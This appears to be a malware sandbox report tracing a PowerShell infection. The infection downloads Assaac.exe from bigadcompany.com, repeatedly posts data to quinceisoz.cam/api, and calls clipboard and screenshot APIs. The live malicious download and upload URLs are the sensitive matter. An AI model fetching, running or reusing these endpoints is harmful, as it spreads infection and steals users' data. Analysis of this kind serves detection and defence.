Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: quinceisoz.cam
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=65JI2K73L1TMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12808Host: quinceisoz.cam
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NQ8CFUDZVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15022Host: quinceisoz.cam
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=24HSIUEZS9V3JTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20377Host: quinceisoz.cam
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=X6R860G69PEVMYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1210Host: quinceisoz.cam
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=95TPMI7T1E56User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585408Host: quinceisoz.cam
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: quinceisoz.cam
Source: global traffic	HTTP traffic detected: GET /Assaac.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bigadcompany.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /kunnar.png HTTP/1.1Host: web.klipdywoziy.shopConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Assaac.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: bigadcompany.com

Source: global traffic	DNS traffic detected: DNS query: web.klipdywoziy.shop
Source: global traffic	DNS traffic detected: DNS query: quinceisoz.cam
Source: global traffic	DNS traffic detected: DNS query: bigadcompany.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: quinceisoz.cam

Source: powershell.exe, 0000000C.00000002.1318983067.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 00000007.00000002.3776275081.0000000006DFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftJn9
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Assaac;component/MainWindow.xaml
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Assaac;component/Picture/img_cake.png
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A58514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Assaac;component/Picture/pic_good.png
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Assaac;component/Picture/pic_tiz.ico
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://defaultcontainer/Assaac;component/app.xaml
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/MainWindow.xaml
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Picture/img_cake.png
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A58514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Picture/pic_good.png
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/Picture/pic_tiz.ico
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/app.xaml
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/app.baml
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/mainwindow.baml
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/picture/img_cake.png
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A58514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/picture/pic_good.png
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar/picture/pic_tiz.ico
Source: powershell.exe, 00000007.00000002.3766668638.000000000554C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1316974916.000000000567E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000007.00000002.3710439009.00000000044E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1324265227.0000000005374000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1313179671.0000000004611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000004AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr	String found in binary or memory: http://scripts.sil.org/OFLhttp://scripts.sil.org/OFLOpen
Source: powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.1324265227.0000000005346000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6LR
Source: powershell.exe, 00000007.00000002.3710439009.00000000044E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1324265227.0000000005354000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1313179671.0000000004611000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000004AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000013.00000002.3705156170.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bigadcompany.com/
Source: powershell.exe, 00000013.00000002.3702752093.0000000003577000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3698386324.000000000350B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bigadcompany.com/Assaac.exe
Source: powershell.exe, 00000013.00000002.3702752093.0000000003577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bigadcompany.com/Assaac.exe4c
Source: powershell.exe, 00000013.00000002.3694595921.0000000002F9A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://bigadcompany.com/Assaac.exeebKit/537.36
Source: powershell.exe, 00000013.00000002.3705156170.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bigadcompany.com/L_
Source: powershell.exe, 00000013.00000002.3705156170.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bigadcompany.com/t_
Source: powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr	String found in binary or memory: https://github.com/rsms/inter)InterBold3.019;RSMS;Inter-BoldInter
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr	String found in binary or memory: https://ipapi.co/xml
Source: powershell.exe, 00000007.00000002.3766668638.000000000554C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1316974916.000000000567E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000013.00000002.3702752093.0000000003577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://quinceisoz.cam/api
Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000000.2302983309.0000026A56552000.00000002.00000001.01000000.0000000E.sdmp, 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr	String found in binary or memory: https://rsms.me/This
Source: powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web.klipdywoziy.shop
Source: powershell.exe, 0000000D.00000002.2172771396.0000000002CA0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://web.klipdywoziy.shop/kunnar.png

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.250.235.30:443 -> 192.168.2.7:49985 version: TLS 1.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_00436080 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

19_2_00436080

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_05601000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

19_2_05601000

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_00436080 OpenClipboard,GetClipboardData,GlobalLock,GetWindowLongW,GlobalUnlock,CloseClipboard,

19_2_00436080

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 19_2_00436260 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

19_2_00436260

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 7324, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7700, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

.NET source code contains very large array initializations

Source: 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe.19.dr, thisRectangleWord.cs

Large array initialization: thisRectangleWord: array initializer size 2048

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe

Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCAD10	13_2_02BCAD10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BC9208	13_2_02BC9208
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCB244	13_2_02BCB244
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BC8328	13_2_02BC8328
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BC8318	13_2_02BC8318
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCA898	13_2_02BCA898
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCA892	13_2_02BCA892
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BC91F8	13_2_02BC91F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCB16C	13_2_02BCB16C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BC06F8	13_2_02BC06F8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCAFD2	13_2_02BCAFD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCAF10	13_2_02BCAF10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BC0708	13_2_02BC0708
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCADAC	13_2_02BCADAC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCADA6	13_2_02BCADA6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCADFC	13_2_02BCADFC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCADF7	13_2_02BCADF7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BC0DC0	13_2_02BC0DC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02BCAD00	13_2_02BCAD00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02C9AB48	13_2_02C9AB48
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_02C9D26A	13_2_02C9D26A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_06BFBC48	13_2_06BFBC48
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_06BFC5D0	13_2_06BFC5D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_072E26CB	13_2_072E26CB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_072E8E60	13_2_072E8E60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_072E8E50	13_2_072E8E50
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_072E0D68	13_2_072E0D68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_072E0D47	13_2_072E0D47
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_072E6C98	13_2_072E6C98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_072E6C92	13_2_072E6C92
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08065809	13_2_08065809
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08065840	13_2_08065840
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_0806D100	13_2_0806D100
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08072E58	13_2_08072E58
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00421050	19_2_00421050
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043B120	19_2_0043B120
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00408A00	19_2_00408A00
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0040B290	19_2_0040B290
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0040E290	19_2_0040E290
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00417506	19_2_00417506
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00424D8A	19_2_00424D8A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00427E30	19_2_00427E30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004126A0	19_2_004126A0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00410F56	19_2_00410F56
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00434040	19_2_00434040
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0041D810	19_2_0041D810
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043202A	19_2_0043202A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004428D0	19_2_004428D0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004060F0	19_2_004060F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043A8F0	19_2_0043A8F0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043F090	19_2_0043F090
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042B141	19_2_0042B141
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0041B950	19_2_0041B950
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042D960	19_2_0042D960
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00427160	19_2_00427160
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00415971	19_2_00415971
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0041C910	19_2_0041C910
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00406920	19_2_00406920
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042D120	19_2_0042D120
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004419C0	19_2_004419C0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004399E1	19_2_004399E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043E980	19_2_0043E980
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00403990	19_2_00403990
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00416197	19_2_00416197
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004329BC	19_2_004329BC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00419249	19_2_00419249
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00409A60	19_2_00409A60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0041DA60	19_2_0041DA60
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0041A210	19_2_0041A210
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00418225	19_2_00418225
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042FAC8	19_2_0042FAC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00440A84	19_2_00440A84
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00441280	19_2_00441280
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00411A91	19_2_00411A91
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043C2B0	19_2_0043C2B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043BAB0	19_2_0043BAB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00404340	19_2_00404340
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00442350	19_2_00442350
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0041D310	19_2_0041D310
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00425310	19_2_00425310
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00418B1B	19_2_00418B1B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00426BC6	19_2_00426BC6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0041F3E0	19_2_0041F3E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00402B80	19_2_00402B80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00441380	19_2_00441380
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00414B90	19_2_00414B90
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00405BA0	19_2_00405BA0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004283B0	19_2_004283B0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042FBBD	19_2_0042FBBD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0041CC59	19_2_0041CC59
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042FC0C	19_2_0042FC0C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00424C10	19_2_00424C10
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0042FC18	19_2_0042FC18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00435424	19_2_00435424
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00441C30	19_2_00441C30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_0043BCC0	19_2_0043BCC0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_004334C6	19_2_004334C6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00435C80	19_2_00435C80
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00406490	19_2_00406490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00416490	19_2_00416490
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00421CA0	19_2_00421CA0
